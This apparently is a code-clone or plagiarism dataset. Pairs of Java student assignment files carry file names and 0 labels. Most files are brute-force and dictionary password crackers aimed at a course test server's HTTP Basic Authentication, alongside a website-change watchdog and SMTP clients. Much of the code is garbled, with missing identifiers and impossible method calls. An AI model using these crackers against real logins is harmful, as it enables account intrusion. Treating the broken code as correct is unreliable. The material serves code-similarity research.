thisPassword = s.toCharArray(); } return new PasswordAuthentication(username, thisPassword); } }
131.java
182.java
0
import java.io.*; import java.net.*; public class BruteForce { private String myUsername = ""; private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2"; private int NUM_CHARS = 52; public static void main(String args[]) { BruteForce bf = new BruteForce(); } public BruteForce() { generatePassword(); } public void generatePassword() { int index1 = 0, index2, index3; char passwordChars[] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' }; while(index1 < NUM_CHARS) { index2 = 0; while(index2 < NUM_CHARS) { index3 = 0; while(index3 < NUM_CHARS) { crackPassword(new String("" + passwordChars[index1] + passwordChars[index2] + passwordChars[index3])); index3++; } index2++; } index1++; } } public void crackPassword(String passwordToCrack) { String data, dataToEncode, encodedData; try { URL url = new URL (urlToCrack); dataToEncode = myUsername + ":" + passwordToCrack; encodedData = new url.misc.BASE64Encoder().encode(dataToEncode.getBytes()); URLConnection urlCon = url.openConnection(); urlCon.setRequestProperty("Authorization", " " + encodedData); InputStream is = (InputStream)urlCon.getInputStream(); InputStreamReader isr = new InputStreamReader(is); BufferedReader bf = new BufferedReader(isr); { data = bf.readLine(); System.out.println(data); displayPassword(passwordToCrack); } while (data != null); } catch (IOException e) { } } public void displayPassword(String foundPassword) { System.out.println("\nThe cracked password is : " + foundPassword); System.exit(0); } }
import java.net.*; import java.io.*; public class Dictionary extends Authenticator { private String username; private char [] thisPassword; private URL url; private BufferedReader bf; public static void main(String [] args) { if(args.length!=3) { System.err.println( "usage: Dictionary <url> <username> <dictionary-file>"); System.exit(1); } Dictionary d = null; try { d = new Dictionary(args[0], args[1], args[2]); } catch (MalformedURLException me) { me.printStackTrace(); System.exit(1); } catch (FileNotFoundException fe) { fe.printStackTrace(); System.exit(1); } d.work(); } public Dictionary(String url, String username, String passwordFilename) throws MalformedURLException, FileNotFoundException { this.url = new URL(url); this.username = username; thisPassword = new char [] {'a'}; File f = new File(passwordFilename); FileReader fr = new FileReader(f); bf = new BufferedReader(fr); } public void work() { Authenticator.setDefault(this); HttpURLConnection uc = null; try { uc = (HttpURLConnection) url.openConnection(); uc.connect(); while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED && thisPassword !=null) { try { InputStream is = uc.getInputStream(); uc.connect(); } catch (ProtocolException pe) { uc = (HttpURLConnection) url.openConnection(); } catch (NullPointerException npe) { npe.printStackTrace(); System.exit(1); } } } catch (java.io.IOException e ) { e.printStackTrace(); System.exit(1); } System.out.println("password=" + new String(thisPassword)); } public PasswordAuthentication getPasswordAuthentication() { String s=null; try { for(s = bf.readLine(); s!=null; s = bf.readLine()) { if(s.length()==3) { break; } } } catch (IOException e) { e.printStackTrace(); System.exit(1); } if(s.length()!=3) { thisPassword = null; } else { thisPassword = s.toCharArray(); } return new PasswordAuthentication(username, thisPassword); } }
017.java
182.java
0
import javax.swing.*; public class Dictionary { public static void main( String args[] ) { PasswordCombination pwdCombination; pwdCombination = new PasswordCombination(); } }
import java.net.*; import java.io.*; public class Dictionary extends Authenticator { private String username; private char [] thisPassword; private URL url; private BufferedReader bf; public static void main(String [] args) { if(args.length!=3) { System.err.println( "usage: Dictionary <url> <username> <dictionary-file>"); System.exit(1); } Dictionary d = null; try { d = new Dictionary(args[0], args[1], args[2]); } catch (MalformedURLException me) { me.printStackTrace(); System.exit(1); } catch (FileNotFoundException fe) { fe.printStackTrace(); System.exit(1); } d.work(); } public Dictionary(String url, String username, String passwordFilename) throws MalformedURLException, FileNotFoundException { this.url = new URL(url); this.username = username; thisPassword = new char [] {'a'}; File f = new File(passwordFilename); FileReader fr = new FileReader(f); bf = new BufferedReader(fr); } public void work() { Authenticator.setDefault(this); HttpURLConnection uc = null; try { uc = (HttpURLConnection) url.openConnection(); uc.connect(); while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED && thisPassword !=null) { try { InputStream is = uc.getInputStream(); uc.connect(); } catch (ProtocolException pe) { uc = (HttpURLConnection) url.openConnection(); } catch (NullPointerException npe) { npe.printStackTrace(); System.exit(1); } } } catch (java.io.IOException e ) { e.printStackTrace(); System.exit(1); } System.out.println("password=" + new String(thisPassword)); } public PasswordAuthentication getPasswordAuthentication() { String s=null; try { for(s = bf.readLine(); s!=null; s = bf.readLine()) { if(s.length()==3) { break; } } } catch (IOException e) { e.printStackTrace(); System.exit(1); } if(s.length()!=3) { thisPassword = null; } else { thisPassword = s.toCharArray(); } return new PasswordAuthentication(username, thisPassword); } }
077.java
182.java
0
import java.io.*; import java.net.*; public class Dictionary { public static void main (String args[]) throws IOException, MalformedURLException { final String username = ""; final String fullurl = "http://sec-crack.cs.rmit.edu./SEC/2/"; final String dictfile = "/usr/share/lib/dict/words"; String temppass; String password = ""; URL url = new URL(fullurl); boolean cracked = false; startTime = System.currentTimeMillis(); BufferedReader r = new BufferedReader(new FileReader(dictfile)); while((temppass = r.readLine()) != null && !cracked) { if(temppass.length() <= 3) { if(isAlpha(temppass)) { Authenticator.setDefault(new MyAuthenticator(username,temppass)); try{ BufferedReader x = new BufferedReader(new InputStreamReader( url.openStream())); cracked = true; password = temppass; } catch(Exception e){} } } } stopTime = System.currentTimeMillis(); if(!cracked) System.out.println("Sorry, couldnt find the password"); else System.out.println("Password found: "+password); System.out.println("Time taken: "+(stopTime-startTime)); } public static boolean isAlpha(String s) { boolean v = true; for(int i=0; i<s.length(); i++) { if(!Character.isLetter(s.charAt(i))) v = false; } return ; } }
import java.net.*; import java.io.*; public class Dictionary extends Authenticator { private String username; private char [] thisPassword; private URL url; private BufferedReader bf; public static void main(String [] args) { if(args.length!=3) { System.err.println( "usage: Dictionary <url> <username> <dictionary-file>"); System.exit(1); } Dictionary d = null; try { d = new Dictionary(args[0], args[1], args[2]); } catch (MalformedURLException me) { me.printStackTrace(); System.exit(1); } catch (FileNotFoundException fe) { fe.printStackTrace(); System.exit(1); } d.work(); } public Dictionary(String url, String username, String passwordFilename) throws MalformedURLException, FileNotFoundException { this.url = new URL(url); this.username = username; thisPassword = new char [] {'a'}; File f = new File(passwordFilename); FileReader fr = new FileReader(f); bf = new BufferedReader(fr); } public void work() { Authenticator.setDefault(this); HttpURLConnection uc = null; try { uc = (HttpURLConnection) url.openConnection(); uc.connect(); while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED && thisPassword !=null) { try { InputStream is = uc.getInputStream(); uc.connect(); } catch (ProtocolException pe) { uc = (HttpURLConnection) url.openConnection(); } catch (NullPointerException npe) { npe.printStackTrace(); System.exit(1); } } } catch (java.io.IOException e ) { e.printStackTrace(); System.exit(1); } System.out.println("password=" + new String(thisPassword)); } public PasswordAuthentication getPasswordAuthentication() { String s=null; try { for(s = bf.readLine(); s!=null; s = bf.readLine()) { if(s.length()==3) { break; } } } catch (IOException e) { e.printStackTrace(); System.exit(1); } if(s.length()!=3) { thisPassword = null; } else { thisPassword = s.toCharArray(); } return new PasswordAuthentication(username, thisPassword); } }
133.java
182.java
0
import java.net.*; import java.io.*; public class Dictionary { private String myUsername = ""; private String myPassword = ""; private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2"; public static void main (String args[]) { Dictionary d = new Dictionary(); } public Dictionary() { generatePassword(); } public void generatePassword() { try { BufferedReader = new BufferedReader(new FileReader("/usr/share/lib/dict/words")); { myPassword = bf.readLine(); crackPassword(myPassword); } while (myPassword != null); } catch(IOException e) { } } public void crackPassword(String passwordToCrack) { String data, dataToEncode, encodedData; try { URL url = new URL (urlToCrack); dataToEncode = myUsername + ":" + passwordToCrack; encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes()); URLConnection urlCon = url.openConnection(); urlCon.setRequestProperty ("Authorization", " " + encodedData); InputStream is = (InputStream)urlCon.getInputStream(); InputStreamReader isr = new InputStreamReader(is); BufferedReader bf = new BufferedReader (isr); { data = bf.readLine(); System.out.println(data); displayPassword(passwordToCrack); } while (data != null); } catch (IOException e) { } } public void displayPassword(String foundPassword) { System.out.println("\nThe cracked password is : " + foundPassword); System.exit(0); } }
import java.net.*; import java.io.*; public class Dictionary extends Authenticator { private String username; private char [] thisPassword; private URL url; private BufferedReader bf; public static void main(String [] args) { if(args.length!=3) { System.err.println( "usage: Dictionary <url> <username> <dictionary-file>"); System.exit(1); } Dictionary d = null; try { d = new Dictionary(args[0], args[1], args[2]); } catch (MalformedURLException me) { me.printStackTrace(); System.exit(1); } catch (FileNotFoundException fe) { fe.printStackTrace(); System.exit(1); } d.work(); } public Dictionary(String url, String username, String passwordFilename) throws MalformedURLException, FileNotFoundException { this.url = new URL(url); this.username = username; thisPassword = new char [] {'a'}; File f = new File(passwordFilename); FileReader fr = new FileReader(f); bf = new BufferedReader(fr); } public void work() { Authenticator.setDefault(this); HttpURLConnection uc = null; try { uc = (HttpURLConnection) url.openConnection(); uc.connect(); while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED && thisPassword !=null) { try { InputStream is = uc.getInputStream(); uc.connect(); } catch (ProtocolException pe) { uc = (HttpURLConnection) url.openConnection(); } catch (NullPointerException npe) { npe.printStackTrace(); System.exit(1); } } } catch (java.io.IOException e ) { e.printStackTrace(); System.exit(1); } System.out.println("password=" + new String(thisPassword)); } public PasswordAuthentication getPasswordAuthentication() { String s=null; try { for(s = bf.readLine(); s!=null; s = bf.readLine()) { if(s.length()==3) { break; } } } catch (IOException e) { e.printStackTrace(); System.exit(1); } if(s.length()!=3) { thisPassword = null; } else { thisPassword = s.toCharArray(); } return new PasswordAuthentication(username, thisPassword); } }
174.java
182.java
0
import java.util.*; import java.io.*; public class MyTimer { public static void main(String args[]) { Watchdog watch = new Watchdog(); Timer time = new Timer(); time.schedule(watch,864000000,864000000); } }
import java.net.*; import java.io.*; public class Dictionary extends Authenticator { private String username; private char [] thisPassword; private URL url; private BufferedReader bf; public static void main(String [] args) { if(args.length!=3) { System.err.println( "usage: Dictionary <url> <username> <dictionary-file>"); System.exit(1); } Dictionary d = null; try { d = new Dictionary(args[0], args[1], args[2]); } catch (MalformedURLException me) { me.printStackTrace(); System.exit(1); } catch (FileNotFoundException fe) { fe.printStackTrace(); System.exit(1); } d.work(); } public Dictionary(String url, String username, String passwordFilename) throws MalformedURLException, FileNotFoundException { this.url = new URL(url); this.username = username; thisPassword = new char [] {'a'}; File f = new File(passwordFilename); FileReader fr = new FileReader(f); bf = new BufferedReader(fr); } public void work() { Authenticator.setDefault(this); HttpURLConnection uc = null; try { uc = (HttpURLConnection) url.openConnection(); uc.connect(); while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED && thisPassword !=null) { try { InputStream is = uc.getInputStream(); uc.connect(); } catch (ProtocolException pe) { uc = (HttpURLConnection) url.openConnection(); } catch (NullPointerException npe) { npe.printStackTrace(); System.exit(1); } } } catch (java.io.IOException e ) { e.printStackTrace(); System.exit(1); } System.out.println("password=" + new String(thisPassword)); } public PasswordAuthentication getPasswordAuthentication() { String s=null; try { for(s = bf.readLine(); s!=null; s = bf.readLine()) { if(s.length()==3) { break; } } } catch (IOException e) { e.printStackTrace(); System.exit(1); } if(s.length()!=3) { thisPassword = null; } else { thisPassword = s.toCharArray(); } return new PasswordAuthentication(username, thisPassword); } }
218.java
182.java
0
import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { Process p1,p2,p3,p4,p5; for(;;) { String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"Part 2-Assignment2 \" < change.html"}; String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* predir"}; String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* predir"}; String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* postdir"}; String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* postdir"}; String s6[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"}; Process p = Runtime.getRuntime().exec("mkdir predir"); p.waitFor(); Process p1 = Runtime.getRuntime().exec("mkdir postdir"); p1.waitFor(); p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p1.waitFor(); Process q2 = Runtime.getRuntime().exec(s2); q2.waitFor(); Process q3 = Runtime.getRuntime().exec(s3); q2.waitFor(); Thread.sleep(86400000); p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p3.waitFor(); Process q4 = Runtime.getRuntime().exec(s4); q4.waitFor(); Process q5 = Runtime.getRuntime().exec(s5); q5.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s6); DataInputStream inp1 = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println("The WatchDog - Returns 0 if change else 1"); System.out.println("Value :" + p4.exitValue()); try { while ((str = inp1.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e ) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader("change.html")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream inp2 = new DataInputStream(p5.getInputStream()); p5.waitFor(); try { while ((str1 = inp2.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException exp) { exp.printStackTrace(); } } } } }
import java.net.*; import java.io.*; public class Dictionary extends Authenticator { private String username; private char [] thisPassword; private URL url; private BufferedReader bf; public static void main(String [] args) { if(args.length!=3) { System.err.println( "usage: Dictionary <url> <username> <dictionary-file>"); System.exit(1); } Dictionary d = null; try { d = new Dictionary(args[0], args[1], args[2]); } catch (MalformedURLException me) { me.printStackTrace(); System.exit(1); } catch (FileNotFoundException fe) { fe.printStackTrace(); System.exit(1); } d.work(); } public Dictionary(String url, String username, String passwordFilename) throws MalformedURLException, FileNotFoundException { this.url = new URL(url); this.username = username; thisPassword = new char [] {'a'}; File f = new File(passwordFilename); FileReader fr = new FileReader(f); bf = new BufferedReader(fr); } public void work() { Authenticator.setDefault(this); HttpURLConnection uc = null; try { uc = (HttpURLConnection) url.openConnection(); uc.connect(); while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED && thisPassword !=null) { try { InputStream is = uc.getInputStream(); uc.connect(); } catch (ProtocolException pe) { uc = (HttpURLConnection) url.openConnection(); } catch (NullPointerException npe) { npe.printStackTrace(); System.exit(1); } } } catch (java.io.IOException e ) { e.printStackTrace(); System.exit(1); } System.out.println("password=" + new String(thisPassword)); } public PasswordAuthentication getPasswordAuthentication() { String s=null; try { for(s = bf.readLine(); s!=null; s = bf.readLine()) { if(s.length()==3) { break; } } } catch (IOException e) { e.printStackTrace(); System.exit(1); } if(s.length()!=3) { thisPassword = null; } else { thisPassword = s.toCharArray(); } return new PasswordAuthentication(username, thisPassword); } }
250.java
182.java
0
class C { private static byte[] cvtTable = { (byte)'A', (byte)'B', (byte)'C', (byte)'D', (byte)'E', (byte)'F', (byte)'G', (byte)'H', (byte)'I', (byte)'J', (byte)'K', (byte)'L', (byte)'M', (byte)'N', (byte)'O', (byte)'P', (byte)'Q', (byte)'R', (byte)'S', (byte)'T', (byte)'U', (byte)'V', (byte)'W', (byte)'X', (byte)'Y', (byte)'Z', (byte)'a', (byte)'b', (byte)'c', (byte)'d', (byte)'e', (byte)'f', (byte)'g', (byte)'h', (byte)'i', (byte)'j', (byte)'k', (byte)'l', (byte)'m', (byte)'n', (byte)'o', (byte)'p', (byte)'q', (byte)'r', (byte)'s', (byte)'t', (byte)'u', (byte)'v', (byte)'w', (byte)'x', (byte)'y', (byte)'z', (byte)'0', (byte)'1', (byte)'2', (byte)'3', (byte)'4', (byte)'5', (byte)'6', (byte)'7', (byte)'8', (byte)'9', (byte)'+', (byte)'/' }; static String encode(String name, String passwd) { byte input[] = (name + ":" + passwd).getBytes(); byte[] output = new byte[((input.length / 3) + 1) * 4]; int ridx = 0; int chunk = 0; for (int i = 0; i < input.length; i += 3) { int left = input.length - i; if (left > 2) { chunk = (input[i] << 16)| (input[i + 1] << 8) | input[i + 2]; output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = cvtTable[(chunk&0xFC0) >> 6]; output[ridx++] = cvtTable[(chunk&0x3F)]; } else if (left == 2) { chunk = (input[i] << 16) | (input[i + 1] << 8); output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = cvtTable[(chunk&0xFC0) >> 6]; output[ridx++] = '='; } else { chunk = input[i] << 16; output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = '='; output[ridx++] = '='; } } return new String(output); } }
import java.net.*; import java.io.*; public class Dictionary extends Authenticator { private String username; private char [] thisPassword; private URL url; private BufferedReader bf; public static void main(String [] args) { if(args.length!=3) { System.err.println( "usage: Dictionary <url> <username> <dictionary-file>"); System.exit(1); } Dictionary d = null; try { d = new Dictionary(args[0], args[1], args[2]); } catch (MalformedURLException me) { me.printStackTrace(); System.exit(1); } catch (FileNotFoundException fe) { fe.printStackTrace(); System.exit(1); } d.work(); } public Dictionary(String url, String username, String passwordFilename) throws MalformedURLException, FileNotFoundException { this.url = new URL(url); this.username = username; thisPassword = new char [] {'a'}; File f = new File(passwordFilename); FileReader fr = new FileReader(f); bf = new BufferedReader(fr); } public void work() { Authenticator.setDefault(this); HttpURLConnection uc = null; try { uc = (HttpURLConnection) url.openConnection(); uc.connect(); while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED && thisPassword !=null) { try { InputStream is = uc.getInputStream(); uc.connect(); } catch (ProtocolException pe) { uc = (HttpURLConnection) url.openConnection(); } catch (NullPointerException npe) { npe.printStackTrace(); System.exit(1); } } } catch (java.io.IOException e ) { e.printStackTrace(); System.exit(1); } System.out.println("password=" + new String(thisPassword)); } public PasswordAuthentication getPasswordAuthentication() { String s=null; try { for(s = bf.readLine(); s!=null; s = bf.readLine()) { if(s.length()==3) { break; } } } catch (IOException e) { e.printStackTrace(); System.exit(1); } if(s.length()!=3) { thisPassword = null; } else { thisPassword = s.toCharArray(); } return new PasswordAuthentication(username, thisPassword); } }
152.java
182.java
0
import java.net.*; import java.io.IOException; import java.util.*; import java.io.*; public class Dictionary { static String userName; static URL url; static URLAuthenticator urlAuthenticator; static int noOfAttempts; public Dictionary() { } public static void main (String args[]) { Properties props = System.getProperties(); props.put("http.proxyHost", "bluetongue.cs.rmit.edu.:8080"); System.out.println(props.get("http.proxyHost")); BufferedReader inFile = null; try { if (args.length < 1) { System.out.println ("Usage : java Dictionary /usr/share/lib/dict/words"); System.exit(1); } inFile = new BufferedReader (new FileReader(args[0])); breakPassword(inFile); } catch (FileNotFoundException e) { System.err.println(e.getMessage()); System.exit(1); } catch (IOException e) { System.err.println(e.getMessage()); System.exit(1); } finally { try { inFile.close(); } catch (IOException ex) {ex.printStackTrace();} } } private static void breakPassword (BufferedReader file) throws IOException { String password=" "; userName=""; boolean found= false; MyHttpURLConnection httpURLConnection; String passBase64=" "; urlAuthenticator = new URLAuthenticator(userName); HttpURLConnection u=null; String input; try { url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/index.php"); } catch (MalformedURLException e){ } catch (IOException io) {io.printStackTrace();} while (( input = file.readLine()) != null) { if (input.length() <=3) { password = input; password =":"+ password; try { u = (HttpURLConnection)url.openConnection(); passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes()); u.setRequestProperty("Authorization", " " + passBase64); u.connect(); noOfAttempts++; if (u.getContentLength() != 0) { if (u.getResponseCode() == HttpURLConnection.HTTP_OK ) { found=true; System.out.println("Your User Name : Password Combination is :"+password+ " "+ " Found by Thread"); System.out.println(" "); System.out.println(" of Attempts / Requests "+ noOfAttempts); System.exit(0); } } } catch (ProtocolException px) {px.printStackTrace(); } catch (BindException e){e.printStackTrace(); } catch (IndexOutOfBoundsException e3){e3.printStackTrace(); } catch (IOException io) {io.printStackTrace(); } finally {u.disconnect(); } } } } } class URLAuthenticator extends Authenticator { private String uName; String passwd; static private char[] password; public URLAuthenticator(String uName) { this.uName = uName; } public void setPassword(String passwd) { this.passwd=passwd; password=passwd.toCharArray(); } public PasswordAuthentication getPasswordAuthentication() { PasswordAuthentication passwordAuthentication = new PasswordAuthentication(uName,password); return passwordAuthentication; } } class MyHttpURLConnection extends HttpURLConnection { public MyHttpURLConnection(URL url) { super(url); } public void disconnect() { } public boolean usingProxy() { return true; } public void connect() { } }
import java.net.*; import java.io.*; public class Dictionary extends Authenticator { private String username; private char [] thisPassword; private URL url; private BufferedReader bf; public static void main(String [] args) { if(args.length!=3) { System.err.println( "usage: Dictionary <url> <username> <dictionary-file>"); System.exit(1); } Dictionary d = null; try { d = new Dictionary(args[0], args[1], args[2]); } catch (MalformedURLException me) { me.printStackTrace(); System.exit(1); } catch (FileNotFoundException fe) { fe.printStackTrace(); System.exit(1); } d.work(); } public Dictionary(String url, String username, String passwordFilename) throws MalformedURLException, FileNotFoundException { this.url = new URL(url); this.username = username; thisPassword = new char [] {'a'}; File f = new File(passwordFilename); FileReader fr = new FileReader(f); bf = new BufferedReader(fr); } public void work() { Authenticator.setDefault(this); HttpURLConnection uc = null; try { uc = (HttpURLConnection) url.openConnection(); uc.connect(); while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED && thisPassword !=null) { try { InputStream is = uc.getInputStream(); uc.connect(); } catch (ProtocolException pe) { uc = (HttpURLConnection) url.openConnection(); } catch (NullPointerException npe) { npe.printStackTrace(); System.exit(1); } } } catch (java.io.IOException e ) { e.printStackTrace(); System.exit(1); } System.out.println("password=" + new String(thisPassword)); } public PasswordAuthentication getPasswordAuthentication() { String s=null; try { for(s = bf.readLine(); s!=null; s = bf.readLine()) { if(s.length()==3) { break; } } } catch (IOException e) { e.printStackTrace(); System.exit(1); } if(s.length()!=3) { thisPassword = null; } else { thisPassword = s.toCharArray(); } return new PasswordAuthentication(username, thisPassword); } }
187.java
182.java
0
import java.net.*; import java.io.*; import java.util.Date; public class MyMail implements Serializable { public static final int SMTPPort = 25; public static final char successPrefix = '2'; public static final char morePrefix = '3'; public static final char failurePrefix = '4'; private static final String CRLF = "\r\n"; private String mailFrom = ""; private String mailTo = ""; private String messageSubject = ""; private String messageBody = ""; private String mailServer = ""; public MyMail () { super(); } public MyMail ( String serverName) { super(); mailServer = serverName; } public String getFrom() { return mailFrom; } public String getTo() { return mailTo; } public String getSubject() { return messageSubject; } public String getMessage() { return messageBody; } public String getMailServer() { return mailServer; } public void setFrom( String from ) { mailFrom = from; } public void setTo ( String To ) { mailTo = To; } public void setSubject ( String subject ) { messageSubject = subject; } public void setMessage ( String msg ) { messageBody = msg; } public void setMailServer ( String server ) { mailServer = server; } private boolean responseValid( String response ) { if (response.indexOf(" ") == -1) return false; String cad = response.substring( 0, response.indexOf(" ")); cad = cad.toUpperCase(); if (( cad.charAt(0) == successPrefix ) || ( cad.charAt(0) == morePrefix ) ) return true; else return false; } public void sendMail() { try { String response; Socket mailSock = new Socket (mailServer, SMTPPort); BufferedReader bf = new BufferedReader ( new InputStreamReader(mailSock.getInputStream())); PrintWriter pout = new PrintWriter ( new OutputStreamWriter(mailSock.getOutputStream())); System.out.println("1"); response = bf.readLine(); if ( !responseValid(response) ) throw new IOException("ERR - " + response); try { InetAddress addr = InetAddress.getLocalHost(); String localHostname = addr.getHostName(); pout.print ("HELO " + localHostname + CRLF); } catch (UnknownHostException uhe) { pout.print ("HELO myhostname" + CRLF); } pout.flush(); System.out.println("2"); response = bf.readLine(); if ( !responseValid(response) ) throw new IOException("ERR - " + response); pout.println ("MAIL From:<" + mailFrom + ">"); pout.flush(); System.out.println("3"); response = bf.readLine(); if ( !responseValid(response) ) throw new IOException("ERR - " + response); pout.println ("RCPT :<" + mailTo + ">"); pout.flush(); System.out.println("4"); response = bf.readLine(); if ( !responseValid(response) ) throw new IOException("ERR - " + response); pout.println ("DATA"); pout.flush(); System.out.println("5"); response = bf.readLine(); if ( !responseValid(response) ) throw new IOException("ERR - " + response); pout.println ("From: " + mailFrom); pout.println (": " + mailTo); pout.println ("Subject: " + messageSubject); pout.println (); pout.println (messageBody); pout.println (".\n\r"); pout.flush(); System.out.println("6"); response = bf.readLine(); if ( !responseValid(response) ) throw new IOException("ERR - " + response); pout.println ("QUIT"); pout.flush(); mailSock.close(); } catch (IOException ioe) { System.out.println(ioe.getMessage()); } } }
import java.net.*; import java.io.*; public class Dictionary extends Authenticator { private String username; private char [] thisPassword; private URL url; private BufferedReader bf; public static void main(String [] args) { if(args.length!=3) { System.err.println( "usage: Dictionary <url> <username> <dictionary-file>"); System.exit(1); } Dictionary d = null; try { d = new Dictionary(args[0], args[1], args[2]); } catch (MalformedURLException me) { me.printStackTrace(); System.exit(1); } catch (FileNotFoundException fe) { fe.printStackTrace(); System.exit(1); } d.work(); } public Dictionary(String url, String username, String passwordFilename) throws MalformedURLException, FileNotFoundException { this.url = new URL(url); this.username = username; thisPassword = new char [] {'a'}; File f = new File(passwordFilename); FileReader fr = new FileReader(f); bf = new BufferedReader(fr); } public void work() { Authenticator.setDefault(this); HttpURLConnection uc = null; try { uc = (HttpURLConnection) url.openConnection(); uc.connect(); while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED && thisPassword !=null) { try { InputStream is = uc.getInputStream(); uc.connect(); } catch (ProtocolException pe) { uc = (HttpURLConnection) url.openConnection(); } catch (NullPointerException npe) { npe.printStackTrace(); System.exit(1); } } } catch (java.io.IOException e ) { e.printStackTrace(); System.exit(1); } System.out.println("password=" + new String(thisPassword)); } public PasswordAuthentication getPasswordAuthentication() { String s=null; try { for(s = bf.readLine(); s!=null; s = bf.readLine()) { if(s.length()==3) { break; } } } catch (IOException e) { e.printStackTrace(); System.exit(1); } if(s.length()!=3) { thisPassword = null; } else { thisPassword = s.toCharArray(); } return new PasswordAuthentication(username, thisPassword); } }
205.java
182.java
0
import java.util.*; import java.io.*; public class DicReader { private Vector v; public DicReader( String fileName) { boolean flag = true; String line; v = new Vector( 50); try { BufferedReader in = new BufferedReader( new FileReader( fileName)); while(( line = in.readLine()) != null) { flag = true; if( line.length() > 0 && line.length() < 4 ) { for( int i = 0; i < line.length(); i++) { if( Character.isLetter( line.charAt( i)) == false) { flag = false; } } if( flag == true) { v.add( line); } } } in.print(); } catch( IOException e) { System.out.println( " not open the file!"); System.exit( 0); } } public Vector getVictor() { return v; } public static void main ( String [] args) { DicReader fr = new DicReader( "/usr/share/lib/dict/words"); System.out.println( " far "+fr.getVictor().size()+" combinations loaded"); } }
import java.net.*; import java.io.*; public class Dictionary extends Authenticator { private String username; private char [] thisPassword; private URL url; private BufferedReader bf; public static void main(String [] args) { if(args.length!=3) { System.err.println( "usage: Dictionary <url> <username> <dictionary-file>"); System.exit(1); } Dictionary d = null; try { d = new Dictionary(args[0], args[1], args[2]); } catch (MalformedURLException me) { me.printStackTrace(); System.exit(1); } catch (FileNotFoundException fe) { fe.printStackTrace(); System.exit(1); } d.work(); } public Dictionary(String url, String username, String passwordFilename) throws MalformedURLException, FileNotFoundException { this.url = new URL(url); this.username = username; thisPassword = new char [] {'a'}; File f = new File(passwordFilename); FileReader fr = new FileReader(f); bf = new BufferedReader(fr); } public void work() { Authenticator.setDefault(this); HttpURLConnection uc = null; try { uc = (HttpURLConnection) url.openConnection(); uc.connect(); while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED && thisPassword !=null) { try { InputStream is = uc.getInputStream(); uc.connect(); } catch (ProtocolException pe) { uc = (HttpURLConnection) url.openConnection(); } catch (NullPointerException npe) { npe.printStackTrace(); System.exit(1); } } } catch (java.io.IOException e ) { e.printStackTrace(); System.exit(1); } System.out.println("password=" + new String(thisPassword)); } public PasswordAuthentication getPasswordAuthentication() { String s=null; try { for(s = bf.readLine(); s!=null; s = bf.readLine()) { if(s.length()==3) { break; } } } catch (IOException e) { e.printStackTrace(); System.exit(1); } if(s.length()!=3) { thisPassword = null; } else { thisPassword = s.toCharArray(); } return new PasswordAuthentication(username, thisPassword); } }
203.java
182.java
0
import java.net.*; import java.io.*; import java.util.*; public class MailClient { private String host; private int port; private String message; public MailClient( String host, int port, Vector lineNumbers) { this.host = host; this.port = port; StringBuffer buf = new StringBuffer(" www.cs.rmit.edu./students has been changed!\nThe changes detected in the following line numbers:\n "); for( int i = 0; i < lineNumbers.size(); i++) { buf.append( lineNumbers.elementAt( i)); buf.append(", "); } message = buf.toString(); } public void connect() { try { Socket client = new Socket( host, port); handleConnection( client); } catch ( UnknownHostException uhe) { System.out.println("Unknown host: " + host); uhe.printStackTrace(); } catch (IOException ioe) { System.out.println("IOException: " + ioe); ioe.printStackTrace(); } } private void handleConnection(Socket client) { try { PrintWriter out = new PrintWriter( client.getOutputStream(), true); InputStream in = client.getInputStream(); byte[] response = new byte[1000]; in.send( response); out.println("HELO "+host); int numBytes = in.get( response); System.out.write(response, 0, numBytes); out.println("MAIL FROM: [email protected]."); numBytes = in.get( response); System.out.write(response, 0, numBytes); out.println("RCPT : @cs.rmit.edu."); numBytes = in.get( response); System.out.write(response, 0, numBytes); out.println("DATA"); numBytes = in.get( response); System.out.write(response, 0, numBytes); out.println( message+"\n."); numBytes = in.get( response); System.out.write(response, 0, 